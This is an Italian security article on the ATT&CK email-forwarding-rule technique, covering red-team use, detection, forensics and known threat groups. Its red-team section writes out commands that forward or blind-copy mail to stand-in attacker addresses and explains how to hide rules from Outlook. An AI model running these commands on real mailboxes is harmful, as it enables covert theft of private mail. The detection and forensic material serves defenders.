Regole di Inoltro Email: Email Forwarding Rule (T1114.003)

In un ingaggio red team, l'abuso delle regole di inoltro richiede credenziali valide o un token di sessione. La fase di accesso può basarsi su phishing, password spraying o furto di token OAuth; una volta ottenuto l'accesso alla mailbox, la creazione della regola è banale e a bassissima rumorosità.

Su Microsoft 365 / Exchange Online, il modulo ExchangeOnlineManagement di PowerShell (open source, Microsoft) è lo strumento canonico. Dopo Connect-ExchangeOnline, una regola di inoltro nascosta si crea con:

New-InboxRule -Name "Sync" -ForwardTo "attacker@external.tld" -DeleteMessage $false

Per aumentare la stealth, molti operatori impostano filtri che inoltrano solo messaggi contenenti parole chiave sensibili ("invoice", "credentials", "VPN"), riducendo il volume anomalo. La flag -StopProcessingRules può bloccare l'esecuzione di eventuali regole di alerting successive.

A livello tenant, se si dispone di privilegi Exchange Admin, la transport rule è la variante impiegata da LAPSUS$:

New-TransportRule -Name "Journaling" -BlindCopyTo "drop@attacker.tld" -SentToScope InOrganization

Questa intercetta ogni email interna senza modificare le singole caselle, risultando particolarmente insidiosa. In laboratorio è replicabile con un tenant Microsoft 365 Developer (gratuito, 90 giorni rinnovabili).

Per occultare la regola in Outlook desktop è possibile usare MFCMAPI (open source, GitHub microsoft/mfcmapi) modificando la proprietà PR_RULE_MSG_NAME e PR_RULE_MSG_PROVIDER per rendere la regola "hidden": Outlook e OWA non la mostreranno, mentre resta operativa sul server.

Su Google Workspace, l'equivalente si ottiene via API Gmail con lo scope gmail.settings.basic, creando un forwardingAddress e un filter con azione forward. Il tool GHunt (open source) è utile in fase di ricognizione OAuth pre-attacco.

Su ambienti Linux legacy si abusa del file ~/.forward o della configurazione procmail (open source, storicamente in Debian/Ubuntu):

echo "attacker@external.tld" > ~/.forward

Su macOS, le regole di Apple Mail risiedono in ~/Library/Mail/V/MailData/SyncedRules.plist* e possono essere modificate via AppleScript, benché richiedano la chiusura del client per essere ricaricate correttamente.

In un report red team, evidenziare sempre: identità dell'account compromesso, timestamp di creazione della regola, destinazione esterna, e se la regola risulta visibile o hidden. Rimuovere la regola al termine dell'ingaggio con Remove-InboxRule è parte integrante del cleanup.

La detection delle regole di inoltro malevole poggia su tre pilastri: telemetria audit del provider email, correlazione comportamentale, e baseline delle destinazioni consentite.

Su Microsoft 365, la fonte primaria è l'Unified Audit Log (m365:unified), che registra le operazioni New-InboxRule, Set-InboxRule, New-TransportRule con l'identità del principale, l'IP sorgente e i parametri completi della regola. Un'analitica efficace filtra eventi Operation=New-InboxRule dove il campo ForwardTo o ForwardAsAttachmentTo punta a un dominio esterno non presente nella whitelist organizzativa. La detection AN1591 raccomanda di correlare l'evento con il popolamento del campo ForwardingSMTPAddress sull'oggetto mailbox, indicatore di un secondo vettore di redirect meno noto.

Un secondo layer è m365:messagetrace, che consente di verificare l'effettivo flusso di messaggi verso la destinazione sospetta. Se subito dopo la creazione della regola compare traffico verso il dominio esterno, la confidenza dell'alert sale significativamente. Una finestra di correlazione di 30-60 minuti tra creazione regola ed evento di forwarding è un buon punto di partenza.

Su endpoint Windows, gli eventi PowerShell 4104 (Script Block Logging) intercettano l'uso di New-InboxRule da workstation amministrative, utile quando l'attaccante opera con credenziali admin rubate via Connect-ExchangeOnline. Correlare con EventCode 4624 (logon) per identificare l'IP sorgente aiuta a distinguere sessioni legittime da accessi anomali da geolocalizzazione insolita.

Su macOS, la detection AN1590 monitora modifiche ai file plist di Apple Mail via fs:plist_monitoring e l'uso di AppleScript tramite unified log. Su Linux, la detection AN1592 osserva modifiche a ~/.forward e l'esecuzione di procmail/formail tramite auditd:SYSCALL.

Come contromisura preventiva, la mitigazione M1042 suggerisce di disabilitare l'auto-forwarding esterno a livello tenant tramite Remote Domain policy: una singola configurazione riduce drasticamente la superficie. La mitigazione M1047 raccomanda audit periodici con Get-InboxRule e Get-TransportRule su tutte le mailbox, esportando l'output in un SIEM per rilevare drift rispetto alla baseline.

I falsi positivi tipici includono: regole legittime di out-of-office con inoltro a colleghi, integrazione con sistemi di ticketing che ricevono email inoltrate, e utenti che inoltrano posta a un indirizzo personale (comportamento da segnalare comunque a HR/compliance anche se non malevolo). Il tuning per UserContext e TargetMailbox consente di sopprimere account di servizio e domini fidati mantenendo alta la sensibilità sul resto della popolazione.

L'indagine forense su un incidente T1114.003 ha come obiettivo prioritario ricostruire quando la regola è stata creata, da quale identità e IP, quali messaggi ha esfiltrato e per quanto tempo è rimasta attiva. La sopravvivenza della regola oltre il reset password rende cruciale il triage completo delle mailbox anche dopo il contenimento apparente.

Su Microsoft 365, la fonte cardine è l'Unified Audit Log, interrogabile via Search-UnifiedAuditLog per un intervallo temporale ampio (fino a 90-180 giorni a seconda della licenza; con Purview Audit Premium fino a un anno). Le operazioni chiave da estrarre sono New-InboxRule, Set-InboxRule, Enable-InboxRule, New-TransportRule e UpdateInboxRules (evento MAPI-side). Ogni record contiene ClientIP, UserId, Parameters con il payload completo della regola, e ClientInfoString che spesso rivela il client usato (Outlook desktop, OWA, PowerShell, REST API).

Parallelamente, Get-InboxRule -Mailbox | Format-List fornisce lo stato attuale delle regole, comprese quelle con Enabled=False che potrebbero essere state disattivate ma non rimosse. Per le regole occultate via MAPI, MFCMAPI (open source) permette di ispezionare la cartella Inbox → Associated Contents → IPM.Rule.Version2.Message dove risiedono le regole reali, incluse quelle con proprietà PR_RULE_MSG_NAME svuotate per l'occultamento.

La timeline forense deve incrociare: creazione della regola, primo logon dell'attaccante, IP sorgente, eventuale creazione di application password o registrazione di dispositivi MFA rogue, e i messaggi effettivamente inoltrati. Il Message Trace (fino a 90 giorni) e l'export eDiscovery consentono di quantificare l'esfiltrazione: numero di email inoltrate, thread coinvolti, presenza di allegati sensibili.

Su Exchange on-premises, i log rilevanti sono MailboxAuditLog (se abilitato), i log IIS del frontend OWA/EWS in %ExchangeInstallPath%Logging\HttpProxy, e i Transport Logs per le transport rule. Il cmdlet Search-MailboxAuditLog estrae le operazioni per mailbox specifica.

Su endpoint Windows, il profilo OST/PST dell'utente può contenere copie locali delle regole; l'analisi con Kernel Outlook PST Viewer (freemium) o libpff (open source) rivela le regole associate. Su macOS, i file SyncedRules.plist e RulesActiveState.plist in ~/Library/Mail/V/MailData/* sono i target primari, con timestamp di modifica utili al pivot temporale.

Su Linux, l'artefatto è il file ~/.forward o le configurazioni ~/.procmailrc e ~/.thunderbird//msgFilterRules.dat*. Il timestamp del file e la sua presenza in backup precedenti permettono di stabilire il momento della modifica.

La preservazione va estesa ai log del provider identity (Entra ID sign-in logs) per correlare la sessione che ha creato la regola con eventuali token OAuth persistenti da revocare.

L'abuso delle regole di inoltro è trasversale a threat actor con motivazioni diverse: spionaggio statale, frode accademica, estorsione e hacktivismo finanziario. La bassa complessità tecnica e l'alto rendimento informativo la rendono uno strumento di collection preferito quando l'obiettivo è la sorveglianza a lungo termine.

Kimsuky (G0094), gruppo attribuito alla Corea del Nord e attivo nello spionaggio contro think tank, entità governative e ricercatori sudcoreani, americani e giapponesi, imposta regole di auto-forward sugli account email delle vittime come parte della sua tradecraft di raccolta. L'operazione tipica combina spear phishing iniziale, furto credenziali via pagine di login clonate, e installazione silenziosa della regola per garantire raccolta continua anche dopo la scoperta del phishing iniziale.

Silent Librarian (G0122), noto anche come Cobalt Dickens o TA407 e legato al Mabna Institute iraniano, ha usato regole di inoltro su account email compromessi nell'ambito di campagne pluriennali contro università e biblioteche digitali per esfiltrare paper accademici, ricerche e proprietà intellettuale. Il modello operativo prevede compromissione di massa di credenziali di studenti e docenti tramite phishing su portali universitari, seguita da persistenza tramite forwarding.

LAPSUS$ (G1004) rappresenta il caso più aggressivo a livello architetturale: il gruppo ha impostato una transport rule a livello di tenant Office 365 che inoltrava tutta la posta in ingresso e uscita dell'organizzazione target verso un account controllato dagli attaccanti. Questo pattern richiede il possesso di privilegi Global Admin, coerente con il modus operandi del gruppo, focalizzato su furto di credenziali privilegiate via SIM swapping, insider recruiting e bypass MFA.

Scattered Spider (G1015), noto anche come UNC3944 o Octo Tempest e specializzato in social engineering contro help desk IT, ha usato regole di redirect specificamente per intercettare le notifiche di attività sospetta inviate agli utenti dai sistemi di sicurezza. Questo uso tattico e chirurgico della tecnica serve a nascondere la compromissione al legittimo proprietario dell'account, guadagnando finestre operative più ampie per il movimento laterale e l'estorsione.

Star Blizzard (G1033), attore russo attribuito all'FSB Centre 18 e focalizzato su spionaggio contro ONG, giornalisti e ricercatori con expertise sulla Russia, sfrutta le regole di inoltro esplicitamente per la loro caratteristica di sopravvivenza al reset delle credenziali. Il gruppo mantiene accesso persistente alla posta delle vittime anche dopo che gli amministratori credono di aver bonificato l'account, illustrando come questa tecnica costituisca una forma di persistenza logica indipendente dal controllo degli endpoint.

Il pattern comune ai cinque gruppi è l'uso della tecnica post-authentication, dopo compromissione credenziali via phishing o social engineering, confermando che l'hardening dell'identità (MFA phishing-resistant, conditional access) è il controllo preventivo più efficace, complementare alla disabilitazione dell'auto-forwarding esterno.

MITRE ATT&CK: T1114.003 (Email Forwarding Rule), tattica TA0009. Gruppi G0094 (Kimsuky), G0122 (Silent Librarian), G1004 (LAPSUS$), G1015 (Scattered Spider), G1033 (Star Blizzard). Mitigazioni M1041, M1042, M1047, M1060. Detection DET0576 con analytics AN1589-AN1592. Documentazione Microsoft Exchange Online PowerShell, MFCMAPI (GitHub microsoft/mfcmapi). Parte del contenuto operativo su comandi e artefatti forensi deriva da conoscenza professionale di cybersecurity applicata ai dati MITRE forniti.